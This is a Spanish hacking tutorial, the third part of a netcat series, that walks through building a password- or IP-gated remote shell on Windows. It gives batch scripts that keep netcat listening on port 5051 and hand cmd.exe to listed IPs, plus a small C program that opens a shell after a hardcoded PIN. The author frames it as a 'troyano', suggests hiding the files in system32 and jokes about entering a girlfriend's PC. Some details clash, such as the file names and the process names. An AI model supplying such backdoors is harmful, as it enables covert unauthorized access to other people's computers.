Jugando con NetCat III

Como ya les habrán enseñado a utilizar el netcat, ahora yo les quiero enseñar como sacarle el jugo a este programilla muy útil, lo convertiremos desde un troyano hasta un cliente SMTP entre otras cosas.

Como ya saben, con netcat puedes tomar una shell directamente o realizar una conexión inversa indicando mi IP o dirección DNS (para los que no saben lo que es un DNS, es un tipo de traducción que hace mas fácil poder encontrar tu PC, por ejemplo la IP 200.32.22.25 sería el DNS = pagina.cl ).

PONIENDO UNA CONTRASEÑA A TUS SHELLS

Ahora les demostraré que no es necesario saber programar en C para crear un dispositivo que nos permita entrar en una shell a través de una contraseña.

Lo primero es abrir el block de notas y escribimos lo siguiente:

@echo off

if not exist ips.txt (goto 1) else goto 2

:1
Echo ips.txt no existe.
Echo.
pause
exit

:2
for /f %%i in (ips.txt) do netstat -n|find "%%i" && CMD
Echo Te has desconectado del servidor remoto.
Exit

Ahora me diras.. que es esto?!.. tranquilo, después lo explico XD. Ahora crea otro texto llamado "Iniciar servidor.bat" con el siguiente contenido:

start nc2 -L -d -e index.bat -p 5051

También lo explicaré después, ahora crea otro texto llamado "Detener servidor.bat" con el siguiente contenido:

tskill nc

Luego crea un texto llamado ips.txt y dentro del texto le escribes tu ip y las ip que tu quieres que tengan acceso a esa shell, y por último pon el netcat junto con todo esto en una carpeta guardada por ahí talves en system32 o donde tu quieras pero todo debe estar en el mismo lugar a menos que quieras modificar el codigo fuente del bat.

Es hora de dar las explicaciones:
Al abrir el bat llamado "iniciar servidor.bat" ejecutaras el netcat y lo dejaras a escucha de otro bat llamado "index.bat" en el puerto 5051 (a elección), luego si alguien se conecta a tu shell se iniciará netcat y comenzará a leer los comandos del bat y resolverá lo siguiente:

if not exist ips.txt (goto 1) else goto 2

:1
Echo pass.txt no existe.
Echo.
pause
exit

Esto significa que si no existe el archivo con las IP, entonces solo se cierra botándote de la shell, si existe entonces procede a hacer el chequeo:

for /f %%i in (ips.txt) do netstat -n|find "%%i" && CMD

Echo Te has desconectado del servidor remoto.
Exit

Nos fijaremos principalmente en la primera línea de esta frase y analizaremos que %%i se transforma en las ip puestas en el texto llamado "ips.txt" y ejecuta: netstat -n|find "%%i" && CMD lo cual significa que hace un netstat -n mostrando todas las ip conectadas a ti (incluyendo el que está pidiendo la shell) y al mismo tiempo el comando find busca entre todas esas IPs que estan conectadas si coincide alguna con la ip señalada en el texto y si esta aparece ejecuta CMD y si no aparece te bota de la shell :P (Por eso es recomendable no poner mas que solo tu ip dentro de ese texto porque si hay un usuario logueado entonces todos los demas tendran acceso libre sin autentificación. Y ojala no sea 127.0.0.1 ni tu ip externa porque puede prestarse para confusiones y no servirá de nada todo esto).

El comando tskill nc2 significa que mata el proceso llamado nc (el comando tskill viene con todos los Sistemas Operativos NT desde Windows Xp con SP2 en adelante o puedes reemplazarlo por otros comandos que destruyan el proceso).

Como puedes ver no fue necesario saber programar en C para ponerle un acceso seguro a tu shell y que nadie mas te la quite. Esto puede ser muy útiles para administradores de pequeñas redes que quieren tener acceso a ciertos puntos de redes desde el servidor o para que nadie mas se meta en la PC de tu novia mas que tu XD.

PARA PROGRAMADORES
Para los programadores en C puedes probar con una sentencia if donde if pass=[loquequieras] un ejemplo:

#include 

#include
main()
{
int usuario,clave=84262;
printf("Introduce la contraseña: ");
scanf("%d",&usuario);
if(usuario==clave)
printf("Acceso concedido!.\n\n");
else
exit (1);
system("cmd.exe");
exit (0);
}
h>h>

Esto se me ocurrió en mis ratos de ocio XD, cuando lo abres te pide una contraseña y si es la escrita en el codigo fuente, ps te da la shell y si no te da una salida limpia.

Listo amigos! hasta aca llego por ahora.. ya es tarde y otro dia continuo, a grandes rasgos quise demostrar que no se necesita ser programador en C o ingeniero en programación para poder ponerle una pequeña contraseña automatica por asi decirlo :p tambien puedes reemplazar las ip por dominios DNS y reemplazar el comando netstat -n por netstat solamente. Tambien puedes hacer cosas mucho mas eficientes y complejas pero la idea es que por ahora todos sin importar sus conocimientos puedan hacer esto.

Att. Yan(WHK).

Descargar DOC
Descargar PDF
Descargar Video
Discútelo